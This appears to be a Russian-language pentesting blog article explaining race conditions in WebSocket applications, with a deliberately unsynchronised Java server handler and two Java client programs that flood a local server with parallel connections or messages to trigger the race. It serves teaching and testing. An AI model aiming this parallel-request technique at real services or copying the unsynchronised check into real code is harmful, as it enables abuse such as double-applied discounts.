Быстрее улитки или Race Conditions в Websocket-ах

от автора

Это мини-статья для ознакомления с атакой на Websocket. Для начала разберёмся, что такое Websocket шучу, это вы можете прочесть в прошлой статье «WebSocket. Краткий экскурс в пентест ping-pong протокола«, но тут я только затрону основное. Нужно разобраться с другим — «Что такое Race condition(состояние гонки)?». Начнем именно с этого, но пока не больше основ, т.к. сейчас готовиться крупная статья по данной теме, думаю управиться за пару недель.

Приятного чтения

Помните, что использование полученных знаний и навыков должно быть ограничено законными и этическими рамками, и вмешательство в чужие сети без разрешения является неприемлемым и незаконным действием.

Оглавление


Что такое Race condition?

Race condition — это ситуация, при которой несколько потоков (или процессов) одновременно пытаются выполнить операции чтения или записи к общим ресурсам без должной синхронизации. Представить можно в формате очереди, один за одним.

Фотография не несёт негативный характер

Фотография не несёт негативный характер

Сложно? Я Вас понимаю, при разборе тем, всегда так, но представьте площадку наподобие Я.маркет, где присутствуют купоны на скидку в 10% «best10». Два потока могут одновременно запросить базу данных и подтвердить, что код скидки «best10» не был применен к корзине, затем оба попытаются применить скидку, в результате чего она будет применена дважды. Обратите внимание на то, что «гоночные» условия не ограничиваются конкретной архитектурой веб‑приложений. Проще всего рассуждать о многопоточном приложении с одной базой данных, но в более сложных системах состояние обычно хранится в еще большем количестве мест. Однопоточные системы, такие как NodeJS, чуть менее уязвимы, но все равно, есть вероятность возникновения подобных проблем.

Я не перестану вставлять мемы в свои статьи ^-^

Я не перестану вставлять мемы в свои статьи ^-^

Что такое Websocket?

WebSocket (веб-сокет) — это протокол для двусторонней связи между клиентом и сервером через веб-соединение. Он предоставляет возможность передавать данные в режиме реального времени без необходимости постоянного запроса к серверу. WebSocket обеспечивает более эффективное соединение и не такие накладные расходы на его организацию, чем традиционные методы — например, HTTP-запросы и ответы.

Протокол имеет две схемы URI:

  • ws: / host [: port] path [? query] для обычных соединений.

  • wss: / host [: port] path [? query] для туннельных соединений TLS.

Вот основные характеристики и особенности WebSocket:

  1. Установка соединения: WebSocket начинается с установки соединения через HTTP (обычно используется стандартный порт 80 или защищенный порт 443). После успешной установки соединения клиент и сервер могут обмениваться данными в реальном времени;

  2. Двусторонняя связь: WebSocket поддерживает как отправку данных от клиента к серверу, так и от сервера к клиенту. Это позволяет строить интерактивные веб-приложения, где клиент и сервер могут обмениваться информацией без задержек;

  3. Низкая задержка: WebSocket обеспечивает низкую задержку (лаг) по сравнению с традиционными методами долгого опроса (long polling) или периодическими запросами;

  4. Протокол на основе кадров (frame-based protocol): Данные в WebSocket упаковываются в кадры (frames), что делает их эффективными для передачи и обработки;

  5. Поддержка защиты (Security): WebSocket может использовать шифрование для обеспечения безопасности передаваемых данных, используя wss:// вместо ws:// в URL;

  6. Поддержка разных типов данных: WebSocket позволяет передавать различные типы данных, включая текст, бинарные данные и даже произвольные объекты;

  7. Событийная модель: WebSocket использует событийную модель для обработки входящих данных. Это означает, что Вы можете реагировать на события, такие как открытие соединения, получение сообщения или закрытие соединения.

Пример использования WebSocket:

  1. Установка соединения:

    • Клиент отправляет HTTP-запрос на сервер с заголовком «Upgrade: websocket».

    • Если сервер поддерживает WebSocket, он возвращает HTTP-ответ с заголовком Upgrade: websocket, и соединение переключается на WebSocket.

  2. Обмен данными:

    • Клиент и сервер могут отправлять друг другу текстовые или бинарные кадры через установленное соединение.

  3. Закрытие соединения:

    • Клиент или сервер могут закрыть соединение по желанию, отправив специальный кадр.

Для лучшего понимания, представьте настольный теннис. Сервер периодически присылает ответ по WS с просьбой о действии — послать запрос на сервер. Если клиент отвечает до истечения тайм-аута — он подключен, если нет, то происходит разрыв соединения до следующего рукопожатия. Как и говорилось в предисловии, вот ссылка на полною статью для глубокого изучения.


Демонстрация или доказательство концепции

Мне понравилось короткое исследование, которое я возьму за основу.

Для демонстрации этой концепции в данной статье приводится Java-код, представляющий собой WebSocket-сервер, взаимодействующий с базой данных PostgreSQL. Сервер использует библиотеку Java-WebSocket для обработки WebSocket-соединений и выполняет следующие задачи:

После запуска программы Java-код подключается к базе данных и проверяет, существует ли таблица «example». Если она не существует, то создается таблица и в нее вставляются произвольные данные:

  • RandomName0

  • RandomName1

  • RandomName9

Наиболее интересный код находится в функции «onMessage».

public static int a = 0;  @Override public void onMessage(WebSocket conn, String message) {     if (a == 0) {         try {                          int rowCount = getCountFromExampleTable();          } catch (SQLException e) {             System.out.println("Error executing query: " + e.getMessage());         }         conn.send("Echo: " + message);         a = a + 1;         System.out.println(a);     } }

Имеется глобальная переменная «a«, инициализированная в 0. Когда клиент подключается к серверу и отправляет сообщение, он проверяет, что «id == 0«, указывая, была ли уже выполнена эта функция. Если нет, то выполняется простая SQL-команда для выбора количества строк из таблицы «example». Затем «a» увеличивается на 1, и его значение выводится на печать. И теоретически функция не должна выполняться 2 раза.

Что касается клиента, то было создано два типа: «WebSocketParallel_Success»

package io.redrays.ws.concept.client;  import org.java_websocket.client.WebSocketClient; import org.java_websocket.handshake.ServerHandshake;  import java.net.URI; import java.net.URISyntaxException; import java.util.ArrayList; import java.util.List; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; import java.util.concurrent.TimeUnit;  public class WebSocketParallel_Success {      public static void main(String[] args) {         // Определение URI сервера WebSocket         String serverUri = "ws://127.0.0.1:8080";          // Количество создаваемых WebSocket-клиентов         int numClients = 100;          // Создание ExecutorService для управления несколькими клиентскими потоками WebSocket         ExecutorService executor = Executors.newFixedThreadPool(numClients);          // Создание списка для хранения экземпляров клиентов WebSocket         List<WebSocketClient> clients = new ArrayList<>();          // Цикл для создания и настройки нескольких клиентов WebSocket         for (int i = 0; i < numClients; i++) {             int clientId = i + 1;             try {                 // Создание WebSocket-клиент для каждого соединения                 WebSocketClient webSocketClient = new WebSocketClient(new URI(serverUri)) {                     @Override                     public void onOpen(ServerHandshake handshakedata) {                         // Обработка события открытия WebSocket-соединения                         System.out.println("Client " + clientId + " connected to the WebSocket server");                         this.send("Hello, WebSocket server! From client " + clientId);                     }                      @Override                     public void onMessage(String message) {                         // Обработка входящих сообщений WebSocket                         System.out.println("Client " + clientId + " received message: " + message);                     }                      @Override                     public void onClose(int code, String reason, boolean remote) {                         // Обработка события закрытия WebSocket-соединения                         System.out.println("Client " + clientId + " connection closed: " + reason);                     }                      @Override                     public void onError(Exception ex) {                         // Обработка ошибок WebSocket                         System.out.println("Client " + clientId + " error occurred: " + ex.getMessage());                     }                 };                  // Добавление WebSocket-клиента в список                 clients.add(webSocketClient);                  // Подключение клиента WebSocket в отдельном потоке                 executor.submit(webSocketClient::connect);              } catch (URISyntaxException e) {                 System.out.println("Invalid WebSocket server URI: " + e.getMessage());             }         }          // Выключение исполнителя после выполнения всех заданий         executor.shutdown();          // Ожидание завершения работы всех клиентских потоков WebSocket         try {             executor.awaitTermination(Long.MAX_VALUE, TimeUnit.NANOSECONDS);         } catch (InterruptedException e) {             System.out.println("Interrupted while waiting for tasks to complete: " + e.getMessage());         }     } }

и «WebSocketParallel_Failed».

package io.redrays.ws.concept.client;  import org.java_websocket.client.WebSocketClient; import org.java_websocket.handshake.ServerHandshake;  import java.net.URI; import java.net.URISyntaxException; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; import java.util.concurrent.TimeUnit;  public class WebSocketParallel_Failed {      public static void main(String[] args) {         String serverUri = "ws://127.0.0.1:8080"; // URI сервера WebSocket         int numParallelRequests = 285; // Количество параллельных WebSocket-запросов          try {             WebSocketClient webSocketClient = new WebSocketClient(new URI(serverUri)) {                  // Этот метод вызывается при успешном открытии WebSocket-соединения                 @Override                 public void onOpen(ServerHandshake handshakedata) {                     System.out.println("Connected to the WebSocket server");                      // Создание фиксированного пула потоков для управления параллельными запросами                     ExecutorService executor = Executors.newFixedThreadPool(numParallelRequests);                      for (int i = 0; i < numParallelRequests; i++) {                         int messageId = i + 1;                         executor.submit(() -> {                             this.send("Hello, WebSocket server! Message ID: " + messageId);                             System.out.println("Sent message with ID: " + messageId);                         });                     }                      // Выключение исполнителя после выполнения всех заданий                     executor.shutdown();                      // Ожидание завершения выполнения заданий                     try {                         executor.awaitTermination(Long.MAX_VALUE, TimeUnit.NANOSECONDS);                     } catch (InterruptedException e) {                         System.out.println("Interrupted while waiting for tasks to complete: " + e.getMessage());                     }                 }                  // Этот метод вызывается при получении сообщения WebSocket.                 @Override                 public void onMessage(String message) {                     System.out.println("Received message: " + message);                 }                  // Этот метод вызывается при закрытии WebSocket-соединения.                 @Override                 public void onClose(int code, String reason, boolean remote) {                     System.out.println("Connection closed: " + reason);                 }                  // Этот метод вызывается при возникновении ошибки в соединении WebSocket                 @Override                 public void onError(Exception ex) {                     System.out.println("Error occurred: " + ex.getMessage());                 }             };              // Подключение к серверу WebSocket             webSocketClient.connect();          } catch (URISyntaxException e) {             System.out.println("Invalid WebSocket server URI: " + e.getMessage());         }     } }

Были предприняты попытки создать состояние гонки двумя различными методами. В первом файле параллельно создается несколько соединений, и данные отправляются на сервер, а во втором — устанавливается только одно соединение, но данные отправляются последовательно друг за другом.

Как видно из названий классов, при параллельном создании нескольких соединений и отправке данных возникнет состояние гонки. Однако во втором случае оно не возникнет, поскольку WebSockets передают данные последовательно в одном соединении.

Как видно из приведенного ниже скриншота и видео, условия гонки могут возникать.


Заключение

Сегодня Я и автор исследования попытались дать новые знания Вам — читателям блога. В перерывах между крупными исследованиями и написанием статей, постараюсь Вас радовать подобными мини-статьями.

Спасибо за внимание ^-^

P.S. Больше подобной информации и хороших мемов Вы сможете найти тут


ссылка на оригинал статьи https://habr.com/ru/articles/763488/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *